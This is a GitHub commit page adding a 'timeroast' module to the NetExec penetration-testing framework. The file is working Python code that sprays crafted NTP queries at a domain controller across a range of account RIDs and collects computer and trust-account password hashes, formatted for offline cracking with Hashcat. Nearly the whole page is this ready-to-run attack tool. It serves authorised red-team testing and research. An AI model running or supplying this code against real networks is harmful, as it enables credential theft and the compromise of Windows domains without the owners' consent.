Skip to content

Commit 56795fc

Browse files
committed
feat: timeroast.py implemented as netexec module
1 parent aa9b044 commit 56795fc

1 file changed

Lines changed: 113 additions & 0 deletions

File tree

nxc/modules/timeroast.py

Lines changed: 113 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,113 @@
1+
from binascii import hexlify, unhexlify
2+
from select import select
3+
from time import time
4+
from socket import socket, AF_INET, SOCK_DGRAM
5+
from struct import pack, unpack
6+
7+
8+
9+
def hashcat_format(rid, hashval, salt):
10+
"""
11+
Encodes hash in Hashcat-compatible format (with username prefix).
12+
"""
13+
return f'{rid}:$sntp-ms${hexlify(hashval).decode()}${hexlify(salt).decode()}'
14+
15+
class NXCModule:
16+
'''
17+
Module by Disgame: @Disgame
18+
Based on research from SecuraBV (@SecuraBV)
19+
20+
Much of this code was copied from the original implementation.
21+
'''
22+
23+
name = 'timeroast'
24+
description = 'Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account'
25+
supported_protocols = ['smb']
26+
opsec_safe = True
27+
multiple_hosts = True
28+
29+
def __init__(self):
30+
self.context = None
31+
self.module_options = None
32+
33+
# Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
34+
self.ntp_prefix = unhexlify('db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a')
35+
36+
37+
def options(self, context, module_options):
38+
"""Required.
39+
Module options get parsed here. Additionally, put the modules usage here as well
40+
"""
41+
self.rids = range(1, 2**31)
42+
self.rate = 180
43+
self.timeout = 24
44+
self.src_port = 0
45+
self.target = None
46+
47+
if "rids" in module_options:
48+
self.rids = module_options["rids"]
49+
if "rate" in module_options:
50+
self.rate = module_options["rate"]
51+
if "timeout" in module_options:
52+
self.timeout = module_options["timeout"]
53+
if "src_port" in module_options:
54+
self.src_port = module_options["src_port"]
55+
56+
def on_login(self, context, connection):
57+
58+
if self.target is None:
59+
self.target = connection.host
60+
61+
for rid, hash, salt in self.run_ntp_roast(context, self.target, self.rids, self.rate, self.timeout, False, self.src_port):
62+
context.log.highlight(hashcat_format(rid, hash, salt))
63+
64+
def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_port = 0):
65+
"""Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
66+
Rate is the number of queries per second to send.
67+
Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
68+
not respond to queries with non-existing RIDs, so it is difficult to distinguish nonexistent RIDs from network
69+
issues.
70+
71+
Yields (rid, hash, salt) pairs, where salt is the NTP response data.
72+
"""
73+
74+
# Flag in key identifier that indicates whether the old or new password should be used.
75+
keyflag = 2**31 if old_pwd else 0
76+
77+
# Bind UDP socket.
78+
with socket(AF_INET, SOCK_DGRAM) as sock:
79+
try:
80+
sock.bind(('0.0.0.0', src_port))
81+
except PermissionError:
82+
context.log.exception(f'No permission to listen on port {src_port}. May need to run as root.')
83+
84+
context.log.display("Starting Timeroasting...")
85+
86+
query_interval = 1 / rate
87+
last_ok_time = time()
88+
rids_received = set()
89+
rid_iterator = iter(rids)
90+
91+
while time() < last_ok_time + giveup_time:
92+
# Send out query for the next RID, if any.
93+
query_rid = next(rid_iterator, None)
94+
if query_rid is not None:
95+
query = self.ntp_prefix + pack('<I', query_rid ^ keyflag) + b'\x00' * 16
96+
sock.sendto(query, (dc_host, 123))
97+
98+
# Wait for either a response or time to send the next query.
99+
ready, [], [] = select([sock], [], [], query_interval)
100+
if ready:
101+
reply = sock.recvfrom(120)[0]
102+
103+
# Extract RID, hash and "salt" if succesful.
104+
if len(reply) == 68:
105+
salt = reply[:48]
106+
answer_rid = unpack('<I', reply[-20:-16])[0] ^ keyflag
107+
md5hash = reply[-16:]
108+
109+
# Filter out duplicates.
110+
if answer_rid not in rids_received:
111+
rids_received.add(answer_rid)
112+
yield answer_rid, md5hash, salt
113+
last_ok_time = time()

0 commit comments

Comments
 (0)